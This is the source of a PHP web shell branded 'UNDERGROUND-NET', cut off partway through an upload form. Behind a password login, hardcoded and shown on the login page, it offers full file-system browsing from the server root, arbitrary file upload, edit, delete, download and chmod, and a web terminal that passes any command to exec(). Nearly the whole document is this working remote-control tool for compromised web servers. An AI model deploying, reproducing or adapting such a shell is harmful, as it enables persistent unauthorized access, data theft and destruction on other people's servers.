<?php
// START SESSION DI AWAL TANPA OUTPUT APAPUN
session_start();
error_reporting(0);
// ========== AUTHENTICATION SYSTEM ==========
// SIMPLE PASSWORD CHECK - NO HASH ISSUES
function checkPassword($input) {
return $input === 'ugnetshell2024';
}
// Handle logout first
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// Handle login attempt
if (isset($_POST['login'])) {
if (checkPassword($_POST['password'])) {
$_SESSION['authenticated'] = true;
$_SESSION['login_time'] = time();
$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
// Redirect setelah login berhasil
$redirect = $_POST['redirect'] ?? '?';
header("Location: $redirect");
exit;
} else {
$error = "Invalid password. Please try again.";
}
}
// Check if user is logged in
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
// Show login form
$current_url = $_SERVER['PHP_SELF'] . (!empty($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : '');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>UNDERGROUND-NET Shell - Secure Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap');
:root {
--primary-gradient: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
--secondary-gradient: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);
--dark-gradient: linear-gradient(135deg, #141e30 0%, #243b55 100%);
--glass-bg: rgba(255, 255, 255, 0.05);
--glass-border: rgba(255, 255, 255, 0.1);
--shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
--transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: var(--dark-gradient);
font-family: 'Poppins', sans-serif;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
position: relative;
}
.bg-animation {
position: absolute;
width: 100%;
height: 100%;
z-index: -1;
}
.circle {
position: absolute;
border-radius: 50%;
background: rgba(255, 255, 255, 0.03);
animation: float 20s infinite ease-in-out;
}
.circle:nth-child(1) {
width: 300px;
height: 300px;
top: -150px;
left: -150px;
animation-delay: 0s;
}
.circle:nth-child(2) {
width: 200px;
height: 200px;
bottom: -100px;
right: -100px;
animation-delay: 5s;
}
.circle:nth-child(3) {
width: 150px;
height: 150px;
top: 50%;
left: 80%;
animation-delay: 10s;
}
.circle:nth-child(4) {
width: 100px;
height: 100px;
bottom: 30%;
left: 10%;
animation-delay: 15s;
}
.login-container {
width: 100%;
max-width: 450px;
padding: 20px;
z-index: 10;
}
.glass-card {
background: var(--glass-bg);
backdrop-filter: blur(20px);
-webkit-backdrop-filter: blur(20px);
border: 1px solid var(--glass-border);
border-radius: 30px;
padding: 50px 40px;
box-shadow: var(--shadow);
position: relative;
overflow: hidden;
}
.glass-card::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 5px;
background: var(--primary-gradient);
border-radius: 30px 30px 0 0;
}
.logo-section {
text-align: center;
margin-bottom: 40px;
}
.logo-wrapper {
width: 120px;
height: 120px;
margin: 0 auto 20px;
position: relative;
}
.logo-outer {
width: 100%;
height: 100%;
border-radius: 50%;
background: var(--primary-gradient);
display: flex;
align-items: center;
justify-content: center;
}
.logo-inner {
width: 90px;
height: 90px;
border-radius: 50%;
background: var(--dark-gradient);
display: flex;
align-items: center;
justify-content: center;
border: 3px solid rgba(255, 255, 255, 0.1);
}
.logo-inner img {
width: 60px;
height: 60px;
filter: drop-shadow(0 0 10px rgba(102, 126, 234, 0.5));
}
.title {
font-size: 28px;
font-weight: 700;
background: var(--primary-gradient);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
margin-bottom: 10px;
}
.subtitle {
color: rgba(255, 255, 255, 0.7);
font-size: 14px;
font-weight: 300;
letter-spacing: 1px;
}
.form-group {
margin-bottom: 25px;
}
.input-wrapper {
position: relative;
}
.input-icon {
position: absolute;
left: 20px;
top: 50%;
transform: translateY(-50%);
color: rgba(255, 255, 255, 0.5);
font-size: 18px;
z-index: 2;
}
.form-input {
width: 100%;
padding: 18px 20px 18px 55px;
background: rgba(255, 255, 255, 0.05);
border: 2px solid rgba(255, 255, 255, 0.1);
border-radius: 15px;
color: #fff;
font-size: 16px;
font-family: 'Poppins', sans-serif;
outline: none;
}
.form-input:focus {
border-color: #667eea;
background: rgba(255, 255, 255, 0.1);
}
.login-btn {
width: 100%;
padding: 18px;
background: var(--primary-gradient);
border: none;
border-radius: 15px;
color: white;
font-size: 16px;
font-weight: 600;
cursor: pointer;
margin-top: 10px;
}
.error-message {
background: rgba(239, 68, 68, 0.1);
border: 1px solid rgba(239, 68, 68, 0.3);
border-radius: 10px;
padding: 15px;
margin-bottom: 25px;
color: #f87171;
font-size: 14px;
display: flex;
align-items: center;
gap: 10px;
}
.security-info {
margin-top: 30px;
padding-top: 20px;
border-top: 1px solid rgba(255, 255, 255, 0.1);
text-align: center;
color: rgba(255, 255, 255, 0.5);
font-size: 12px;
}
</style>
</head>
<body>
<div class="bg-animation">
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
<div class="circle"></div>
</div>
<div class="login-container">
<div class="glass-card">
<div class="logo-section">
<div class="logo-wrapper">
<div class="logo-outer">
<div class="logo-inner">
<div style="color: #fff; font-size: 40px;">
<i class="fas fa-terminal"></i>
</div>
</div>
</div>
</div>
<h1 class="title">UNDERGROUND-NET SHELL</h1>
<p class="subtitle">PRIVATE ACCESS - SECURE LOGIN REQUIRED</p>
</div>
<?php if (isset($error)): ?>
<div class="error-message">
<i class="fas fa-exclamation-triangle"></i>
<span><?php echo htmlspecialchars($error); ?></span>
</div>
<?php endif; ?>
<form method="post" action="">
<input type="hidden" name="redirect" value="<?php echo htmlspecialchars($current_url); ?>">
<div class="form-group">
<div class="input-wrapper">
<i class="fas fa-key input-icon"></i>
<input type="password" name="password" class="form-input"
placeholder="Enter access password" required autofocus
autocomplete="off">
</div>
</div>
<button type="submit" name="login" class="login-btn">
<i class="fas fa-sign-in-alt"></i>
<span>ACCESS SECURE SHELL</span>
</button>
</form>
<div class="security-info">
<i class="fas fa-shield-alt"></i>
<span>Password: ugnetshell2024</span>
</div>
</div>
</div>
</body>
</html>
<?php
exit;
}
// ========== USER IS LOGGED IN - SHOW FILE MANAGER ==========
// Security checks
if (!isset($_SESSION['login_time']) || (time() - $_SESSION['login_time'] > 43200)) { // 12 hours
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (!isset($_SESSION['user_ip']) || $_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// ========== FILE MANAGER FUNCTIONS ==========
function encodePath($path) {
return str_replace(['=', '/', '+'], ['', '_', '-'], base64_encode($path));
}
function decodePath($path) {
return base64_decode(str_replace(['_', '-'], ['=', '/', '+'], $path));
}
function getFilePermissions($file) {
return substr(sprintf('%o', fileperms($file)), -4);
}
function formatSize($bytes) {
if ($bytes == 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($bytes >= 1024 && $i < count($units) - 1) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
function getFileIcon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$images = ['jpg','jpeg','png','gif','bmp','svg','webp'];
$docs = ['pdf','doc','docx','txt','rtf','odt'];
$code = ['php','html','css','js','json','xml','py','java','cpp','c','sql','sh','bash'];
$archive = ['zip','rar','tar','gz','7z'];
if (is_dir($filename)) return 'fa-folder';
if (in_array($ext, $images)) return 'fa-file-image';
if (in_array($ext, $docs)) return 'fa-file-alt';
if (in_array($ext, $code)) return 'fa-file-code';
if (in_array($ext, $archive)) return 'fa-file-archive';
return 'fa-file';
}
function humanDate($timestamp) {
$diff = time() - $timestamp;
if ($diff < 60) return 'Just now';
if ($diff < 3600) return floor($diff/60) . ' min ago';
if ($diff < 86400) return floor($diff/3600) . ' hours ago';
if ($diff < 604800) return floor($diff/86400) . ' days ago';
return date('Y-m-d H:i', $timestamp);
}
// ========== HANDLE ACTIONS ==========
// Get script directory safely
$script_file = $_SERVER['SCRIPT_FILENAME'];
$root_path = dirname(realpath($script_file));
// Default current path is root
$current_path = $root_path;
if (isset($_GET['p']) && !empty($_GET['p'])) {
$decoded_path = decodePath($_GET['p']);
// Security check - prevent directory traversal
$real_decoded = realpath($decoded_path);
if ($real_decoded && is_dir($real_decoded)) {
$current_path = $real_decoded;
}
}
// Ensure we don't go above server root for security
$server_root = '/';
if (strpos($current_path, $server_root) !== 0) {
$current_path = $root_path;
}
// ========== HANDLE TERMINAL COMMANDS ==========
$terminal_output = '';
if (isset($_GET['terminal_cmd']) && !empty($_GET['terminal_cmd'])) {
$command = $_GET['terminal_cmd'];
// Security: Sanitize command (all commands allowed)
$command = escapeshellcmd($command);
@chdir($current_path);
$output = [];
$return_var = 0;
exec($command . ' 2>&1', $output, $return_var);
$terminal_output = implode("\n", $output);
// Auto-scroll
echo "<script>setTimeout(() => { document.getElementById('terminalOutput').scrollTop = document.getElementById('terminalOutput').scrollHeight; }, 100);</script>";
}
// ========== HANDLE RENAME ==========
if (isset($_GET['rename']) && isset($_GET['newname'])) {
$old_path = decodePath($_GET['rename']);
$new_name = basename($_GET['newname']);
// Security check
if (file_exists($old_path)) {
$dir = dirname($old_path);
$new_path = $dir . '/' . $new_name;
// Check if new name is valid
if (!empty($new_name) && $new_name != '.' && $new_name != '..') {
if (!file_exists($new_path)) {
if (rename($old_path, $new_path)) {
header("Location: ?p=" . encodePath($current_path));
exit;
} else {
$error_msg = "Failed to rename. Check permissions.";
}
} else {
$error_msg = "A file/folder with that name already exists.";
}
} else {
$error_msg = "Invalid name.";
}
}
}
// Handle file operations
if (isset($_GET['delete'])) {
$path = decodePath($_GET['delete']);
if (file_exists($path)) {
if (is_dir($path)) {
if (count(scandir($path)) <= 2) {
rmdir($path);
} else {
$error_msg = "Cannot delete non-empty directory.";
}
} else {
unlink($path);
}
if (!isset($error_msg)) {
header("Location: ?p=" . encodePath($current_path));
exit;
}
}
}
if (isset($_GET['download'])) {
$path = decodePath($_GET['download']);
if (file_exists($path) && !is_dir($path)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($path) . '"');
readfile($path);
exit;
}
}
// Handle upload
if (isset($_POST['upload'])) {
if (isset($_FILES['file']) && $_FILES['file']['error'] === 0) {
$target = $current_path . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
header("Location: ?p=" . encodePath($current_path));
exit;
} else {
$error_msg = "Upload failed. Check permissions.";
}
}
}
// Handle new file
if (isset($_POST['newfile'])) {
$filename = trim($_POST['filename']);
if (!empty($filename)) {
$path = $current_path . '/' . $filename;
if (!file_exists($path)) {
if (file_put_contents($path, $_POST['content'] ?? '')) {
header("Location: ?p=" . encodePath($current_path));
exit;
} else {
$error_msg = "Failed to create file. Check permissions.";
}
} else {
$error_msg = "File already exists.";
}
}
}
// Handle new folder
if (isset($_POST['newfolder'])) {
$foldername = trim($_POST['foldername']);
if (!empty($foldername)) {
$path = $current_path . '/' . $foldername;
if (!file_exists($path)) {
if (mkdir($path, 0755)) {
header("Location: ?p=" . encodePath($current_path));
exit;
} else {
$error_msg = "Failed to create folder. Check permissions.";
}
} else {
$error_msg = "Folder already exists.";
}
}
}
// Handle edit
if (isset($_POST['savefile'])) {
$path = decodePath($_POST['filepath']);
if (file_exists($path)) {
if (file_put_contents($path, $_POST['content'])) {
header("Location: ?p=" . encodePath($current_path));
exit;
} else {
$error_msg = "Failed to save file. Check permissions.";
}
}
}
// Handle chmod
if (isset($_GET['chmod']) && isset($_GET['mode'])) {
$path = decodePath($_GET['chmod']);
$mode = octdec($_GET['mode']);
if (file_exists($path)) {
if (chmod($path, $mode)) {
header("Location: ?p=" . encodePath($current_path));
exit;
} else {
$error_msg = "Failed to change permissions.";
}
}
}
// ========== DISPLAY FILE MANAGER ==========
// Scan directory
$items = scandir($current_path);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $current_path . '/' . $item;
if (is_dir($path)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
// Calculate stats
$total_size = 0;
foreach ($files as $file) {
$total_size += filesize($current_path . '/' . $file);
}
$free_space = disk_free_space($current_path);
$total_space = disk_total_space($current_path);
$used_percentage = $total_space > 0 ? round(($total_space - $free_space) / $total_space * 100, 1) : 0;
// ========== HTML OUTPUT ==========
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>UNDERGROUND-NET File Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style>
:root {
--primary: #8b5cf6;
--primary-dark: #7c3aed;
--dark: #0f172a;
--card: #1e293b;
--border: #334155;
--text: #f1f5f9;
--text-muted: #94a3b8;
--font-family: 'Segoe UI', system-ui, sans-serif;
--radius-sm: 12px;
--radius-md: 16px;
--radius-lg: 20px;
--radius-xl: 24px;
}
body {
background: var(--dark);
color: var(--text);
font-family: var(--font-family);
min-height: 100vh;
}
.navbar {
background: var(--card);
border-bottom: 1px solid var(--border);
padding: 1rem 0;
}
.logo {
font-size: 1.5rem;
font-weight: bold;
color: var(--primary);
}
.info-badge {
background: rgba(139, 92, 246, 0.1);
border: 1px solid rgba(139, 92, 246, 0.3);
border-radius: var(--radius-sm);
padding: 8px 16px;
font-size: 14px;
}
.btn-logout {
background: linear-gradient(135deg, #ef4444, #dc2626);
border: none;
color: white;
border-radius: var(--radius-sm);
padding: 8px 16px;
}
.breadcrumb {
background: var(--card);
border-radius: var(--radius-md);
padding: 1.25rem;
margin-bottom: 1.5rem;
font-size: 1rem;
}
.breadcrumb a {
color: var(--primary);
text-decoration: none;
font-weight: 500;
transition: color 0.2s;
}
.breadcrumb a:hover {
color: #a78bfa;
text-decoration: underline;
}
.breadcrumb .separator {
color: var(--text-muted);
margin: 0 8px;
}
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
gap: 1.25rem;
margin: 2rem 0;
}
.stat-card {
background: var(--card);
border-radius: var(--radius-md);
padding: 1.75rem;
border: 1px solid var(--border);
transition: all 0.3s;
}
.stat-card:hover {
transform: translateY(-4px);
border-color: var(--primary);
box-shadow: 0 10px 25px rgba(139, 92, 246, 0.15);
}
.stat-icon {
width: 56px;
height: 56px;
border-radius: 14px;
display: flex;
align-items: center;
justify-content: center;
font-size: 24px;
margin-bottom: 1.25rem;
}
.file-list {
background: var(--card);
border-radius: var(--radius-md);
overflow: hidden;
margin-top: 2rem;
box-shadow: 0 8px 30px rgba(0, 0, 0, 0.2);
}
.file-header {
padding: 1.5rem;
border-bottom: 2px solid var(--border);
font-weight: 700;
font-size: 1.1rem;
background: rgba(255, 255, 255, 0.02);
}
.file-item {
padding: 1.25rem 1.5rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
display: flex;
align-items: center;
transition: all 0.2s;
}
.file-item:hover {
background: rgba(255, 255, 255, 0.03);
transform: translateX(4px);
}
.file-icon {
width: 48px;
height: 48px;
border-radius: var(--radius-sm);
display: flex;
align-items: center;
justify-content: center;
margin-right: 1.25rem;
font-size: 20px;
flex-shrink: 0;
}
.folder .file-icon {
background: rgba(59, 130, 246, 0.15);
color: #3b82f6;
border: 1px solid rgba(59, 130, 246, 0.3);
}
.file .file-icon {
background: rgba(16, 185, 129, 0.15);
color: #10b981;
border: 1px solid rgba(16, 185, 129, 0.3);
}
.file-name {
flex: 1;
font-weight: 500;
font-size: 1rem;
min-width: 0;
}
.file-name a {
color: inherit;
text-decoration: none;
display: flex;
align-items: center;
gap: 10px;
width: 100%;
}
.file-name a:hover {
color: var(--primary);
}
.file-meta {
color: var(--text-muted);
font-size: 0.9rem;
display: flex;
gap: 1.75rem;
margin-right: 1.5rem;
flex-shrink: 0;
}
.file-actions {
display: flex;
gap: 0.75rem;
opacity: 0;
transition: opacity 0.2s;
flex-shrink: 0;
}
.file-item:hover .file-actions {
opacity: 1;
}
.action-btn {
width: 36px;
height: 36px;
border-radius: 10px;
border: none;
background: rgba(255, 255, 255, 0.07);
color: var(--text-muted);
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: all 0.2s;
}
.action-btn:hover {
background: var(--primary);
color: white;
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(139, 92, 246, 0.3);
}
.quick-actions {
display: flex;
gap: 1rem;
margin: 2rem 0;
flex-wrap: wrap;
}
.quick-btn {
background: var(--card);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
padding: 0.9rem 1.5rem;
color: var(--text);
text-decoration: none;
display: flex;
align-items: center;
gap: 0.75rem;
transition: all 0.3s;
font-weight: 500;
}
.quick-btn:hover {
border-color: var(--primary);
background: rgba(139, 92, 246, 0.1);
color: var(--primary);
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(139, 92, 246, 0.15);
}
.modal-content {
background: var(--card);
color: var(--text);
border: 1px solid var(--border);
border-radius: var(--radius-lg);
}
.form-control {
background: rgba(255, 255, 255, 0.05);
border: 1px solid var(--border);
color: var(--text);
border-radius: var(--radius-sm);
padding: 0.875rem 1rem;
font-size: 1rem;
}
.form-control:focus {
background: rgba(255, 255, 255, 0.08);
border-color: var(--primary);
color: var(--text);
box-shadow: 0 0 0 4px rgba(139, 92, 246, 0.15);
}
.btn-primary {
background: var(--primary);
border: none;
border-radius: var(--radius-sm);
padding: 0.875rem 1.75rem;
font-weight: 600;
transition: all 0.3s;
}
.btn-primary:hover {
background: var(--primary-dark);
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(139, 92, 246, 0.3);
}
.empty-state {
text-align: center;
padding: 4rem 2rem;
color: var(--text-muted);
}
.empty-state i {
font-size: 5rem;
margin-bottom: 1.5rem;
opacity: 0.5;
}
/* Terminal Styles - Extra Rounded */
.terminal-container {
background: var(--card);
border-radius: var(--radius-xl);
padding: 2.5rem;
margin: 2rem 0;
border: 1px solid var(--border);
box-shadow: 0 15px 40px rgba(0, 0, 0, 0.25);
}
.terminal-header {
display: flex;
align-items: center;
margin-bottom: 2rem;
padding-bottom: 1.5rem;
border-bottom: 2px solid var(--border);
}
.terminal-header i {
color: var(--primary);
font-size: 1.5rem;
margin-right: 1rem;
}
.terminal-title {
font-size: 1.3rem;
font-weight: 700;
color: var(--primary);
}
.terminal-path {
color: var(--text-muted);
font-size: 0.95rem;
margin-left: auto;
background: rgba(139, 92, 246, 0.15);
padding: 0.5rem 1rem;
border-radius: var(--radius-lg);
border: 1px solid rgba(139, 92, 246, 0.3);
max-width: 350px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: 'Consolas', monospace;
}
.terminal-output {
background: rgba(0, 0, 0, 0.4);
color: #00ffaa;
padding: 1.75rem;
border-radius: var(--radius-lg);
min-height: 300px;
max-height: 500px;
overflow-y: auto;
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
white-space: pre-wrap;
margin-bottom: 2rem;
border: 1px solid rgba(255, 255, 255, 0.1);
line-height: 1.6;
font-size: 1rem;
box-shadow: inset 0 4px 20px rgba(0, 0, 0, 0.4);
}
.terminal-prompt {
color: #00ffaa;
font-weight: bold;
margin-bottom: 0.75rem;
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
font-size: 1.1rem;
}
.terminal-command {
color: #8b5cf6;
font-weight: bold;
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
}
.terminal-input-group {
display: flex;
gap: 0.75rem;
margin-bottom: 1.5rem;
}
.terminal-prefix {
background: rgba(139, 92, 246, 0.25);
border: 1px solid rgba(139, 92, 246, 0.4);
border-radius: var(--radius-lg) 0 0 var(--radius-lg);
padding: 1rem 1.25rem;
color: var(--primary);
font-weight: bold;
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
min-width: 60px;
text-align: center;
font-size: 1.1rem;
}
.terminal-input {
flex: 1;
background: rgba(255, 255, 255, 0.07);
border: 1px solid var(--border);
border-radius: 0 var(--radius-lg) var(--radius-lg) 0;
padding: 1rem 1.25rem;
color: var(--text);
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
font-size: 1rem;
transition: all 0.3s;
}
.terminal-input:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 4px rgba(139, 92, 246, 0.2);
background: rgba(255, 255, 255, 0.1);
}
.terminal-quick-commands {
display: flex;
gap: 0.75rem;
flex-wrap: wrap;
margin-top: 1.5rem;
}
.terminal-quick-btn {
background: rgba(255, 255, 255, 0.07);
border: 1px solid var(--border);
border-radius: var(--radius-lg);
padding: 0.75rem 1.25rem;
color: var(--text-muted);
font-size: 0.95rem;
cursor: pointer;
transition: all 0.3s;
font-family: var(--font-family);
font-weight: 500;
}
.terminal-quick-btn:hover {
background: rgba(139, 92, 246, 0.15);
border-color: var(--primary);
color: var(--primary);
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(139, 92, 246, 0.2);
}
.terminal-btn-execute {
border-radius: var(--radius-lg);
padding: 1rem 2rem;
font-weight: 600;
font-size: 1rem;
}
/* Footer */
.footer-info {
margin-top: 3rem;
padding-top: 1.5rem;
border-top: 1px solid var(--border);
text-align: center;
color: var(--text-muted);
font-size: 0.9rem;
}
@media (max-width: 992px) {
.file-meta {
flex-direction: column;
gap: 0.5rem;
}
.file-actions {
opacity: 1;
}
.terminal-quick-commands {
justify-content: center;
}
.terminal-path {
display: none;
}
.terminal-container {
padding: 1.75rem;
}
.breadcrumb {
font-size: 0.9rem;
padding: 1rem;
}
}
@media (max-width: 768px) {
.quick-actions {
justify-content: center;
}
.stats-grid {
grid-template-columns: repeat(2, 1fr);
}
.file-item {
flex-wrap: wrap;
gap: 1rem;
}
.file-meta {
order: 3;
width: 100%;
justify-content: space-between;
}
.file-actions {
order: 2;
opacity: 1;
}
}
@media (max-width: 576px) {
.stats-grid {
grid-template-columns: 1fr;
}
.terminal-container {
padding: 1.5rem;
}
.terminal-output {
padding: 1.25rem;
font-size: 0.9rem;
}
}
</style>
</head>
<body>
<!-- Navigation -->
<nav class="navbar">
<div class="container">
<div class="d-flex justify-content-between align-items-center w-100">
<div class="d-flex align-items-center gap-3">
<div class="logo">
<i class="fas fa-terminal me-2"></i>UNDERGROUND-NET
</div>
<div class="info-badge">
<i class="fas fa-user me-1"></i> <?php echo htmlspecialchars($_SESSION['user_ip']); ?>
</div>
<div class="info-badge">
<i class="fas fa-clock me-1"></i>
<?php
$duration = time() - $_SESSION['login_time'];
echo floor($duration/3600) . 'h ' . floor(($duration%3600)/60) . 'm';
?>
</div>
</div>
<a href="?logout" class="btn btn-logout btn-sm">
<i class="fas fa-sign-out-alt me-1"></i> Logout
</a>
</div>
</div>
</nav>
<!-- Main Content -->
<div class="container py-4">
<?php if (isset($error_msg)): ?>
<div class="alert alert-danger alert-dismissible fade show" role="alert" style="border-radius: var(--radius-md);">
<i class="fas fa-exclamation-triangle me-2"></i>
<?php echo htmlspecialchars($error_msg); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
<?php endif; ?>
<!-- Breadcrumb -->
<div class="breadcrumb">
<?php
// Build breadcrumb from server root to current directory
$path_parts = explode('/', trim($current_path, '/'));
$current_build = '';
echo '<a href="?">/</a>';
foreach ($path_parts as $index => $part) {
if (!empty($part)) {
$current_build .= '/' . $part;
echo '<span class="separator">/</span>';
echo '<a href="?p=' . encodePath($current_build) . '">' . htmlspecialchars($part) . '</a>';
}
}
?>
</div>
<!-- Quick Actions -->
<div class="quick-actions">
<a href="?p=<?php echo encodePath($current_path); ?>&upload" class="quick-btn">
<i class="fas fa-upload"></i> Upload
</a>
<a href="?p=<?php echo encodePath($current_path); ?>&newfile" class="quick-btn">
<i class="fas fa-file-plus"></i> New File
</a>
<a href="?p=<?php echo encodePath($current_path); ?>&newfolder" class="quick-btn">
<i class="fas fa-folder-plus"></i> New Folder
</a>
<a href="?p=<?php echo encodePath($root_path); ?>" class="quick-btn">
<i class="fas fa-home"></i> Home
</a>
<a href="?p=<?php echo encodePath($current_path); ?>&terminal" class="quick-btn">
<i class="fas fa-terminal"></i> Terminal
</a>
<?php if ($current_path !== '/' && $current_path !== $root_path): ?>
<a href="?p=<?php echo encodePath(dirname($current_path)); ?>" class="quick-btn">
<i class="fas fa-level-up-alt"></i> Up
</a>
<?php endif; ?>
<a href="javascript:location.reload()" class="quick-btn">
<i class="fas fa-sync"></i> Refresh
</a>
</div>
<!-- Stats -->
<div class="stats-grid">
<div class="stat-card">
<div class="stat-icon" style="background: rgba(59,130,246,0.15); color: #3b82f6;">
<i class="fas fa-folder"></i>
</div>
<div style="font-size: 2rem; font-weight: bold;"><?php echo count($folders); ?></div>
<div style="color: var(--text-muted); font-size: 0.95rem;">Folders</div>
</div>
<div class="stat-card">
<div class="stat-icon" style="background: rgba(16,185,129,0.15); color: #10b981;">
<i class="fas fa-file"></i>
</div>
<div style="font-size: 2rem; font-weight: bold;"><?php echo count($files); ?></div>
<div style="color: var(--text-muted); font-size: 0.95rem;">Files</div>
</div>
<div class="stat-card">
<div class="stat-icon" style="background: rgba(245,158,11,0.15); color: #f59e0b;">
<i class="fas fa-hdd"></i>
</div>
<div style="font-size: 2rem; font-weight: bold;"><?php echo formatSize($total_size); ?></div>
<div style="color: var(--text-muted); font-size: 0.95rem;">Total Size</div>
</div>
<div class="stat-card">
<div class="stat-icon" style="background: rgba(139,92,246,0.15); color: #8b5cf6;">
<i class="fas fa-chart-pie"></i>
</div>
<div style="font-size: 2rem; font-weight: bold;"><?php echo $used_percentage; ?>%</div>
<div style="color: var(--text-muted); font-size: 0.95rem;">Disk Used</div>
</div>
</div>
<!-- Terminal Section -->
<?php if (isset($_GET['terminal'])): ?>
<div class="terminal-container">
<div class="terminal-header">
<i class="fas fa-terminal"></i>
<span class="terminal-title">Web Terminal</span>
<span class="terminal-path" title="<?php echo htmlspecialchars($current_path); ?>">
<i class="fas fa-folder me-1"></i><?php echo htmlspecialchars(strlen($current_path) > 40 ? '...' . substr($current_path, -40) : $current_path); ?>
</span>
</div>
<div class="terminal-output" id="terminalOutput">
<?php if ($terminal_output): ?>
<div class="terminal-prompt">$ <span class="terminal-command"><?php echo htmlspecialchars($_GET['terminal_cmd'] ?? ''); ?></span></div>
<div><?php echo nl2br(htmlspecialchars($terminal_output)); ?></div>
<?php else: ?>
<div style="margin-bottom: 20px; color: var(--primary); font-weight: 600; font-size: 1.1rem;">Welcome to UNDERGROUND-NET Terminal</div>
<div style="color: var(--text-muted); margin-bottom: 15px; line-height: 1.6;">Type any shell command and press Enter or click Execute. All shell commands are allowed.</div>
<div style="color: var(--text-muted); font-size: 0.95rem; margin-bottom: 10px;">
<i class="fas fa-info-circle me-1"></i> Current directory: <?php echo htmlspecialchars($current_path); ?>
</div>
<div style="color: var(--text-muted); font-size: 0.95rem;">
<i class="fas fa-lightbulb me-1"></i> Use with caution! Commands execute with server permissions.
</div>
<?php endif; ?>
</div>
<form method="get" class="terminal-input-group">
<input type="hidden" name="p" value="<?php echo encodePath($current_path); ?>">
<input type="hidden" name="terminal" value="1">
<div class="terminal-prefix">$</div>
<input type="text" name="terminal_cmd" class="terminal-input"
placeholder="Enter shell command (ls, cd, cat, grep, etc.)..."
value="<?php echo htmlspecialchars($_GET['terminal_cmd'] ?? ''); ?>"
autofocus>
<button type="submit" class="btn btn-primary terminal-btn-execute">
<i class="fas fa-play me-2"></i> Execute
</button>
</form>
<div class="terminal-quick-commands">
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='pwd'">
pwd
</button>
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='ls -la'">
ls -la
</button>
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='whoami'">
whoami
</button>
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='php -v'">
php -v
</button>
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='df -h'">
df -h
</button>
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='free -m'">
free -m
</button>
<button class="terminal-quick-btn" onclick="document.querySelector('[name=\"terminal_cmd\"]').value='cd <?php echo htmlspecialchars($root_path); ?> && pwd'">
Go Home
</button>
<a href="?p=<?php echo encodePath($current_path); ?>" class="terminal-quick-btn" style="text-decoration: none; margin-left: auto;">
<i class="fas fa-times me-1"></i> Close
</a>
</div>
</div>
<?php endif; ?>
<!-- Handle Forms -->
<?php if (isset($_GET['upload'])): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-upload me-2"></i>Upload File
</div>
<div class="p-4">
<form method="post" enctype="multipart/form-data">
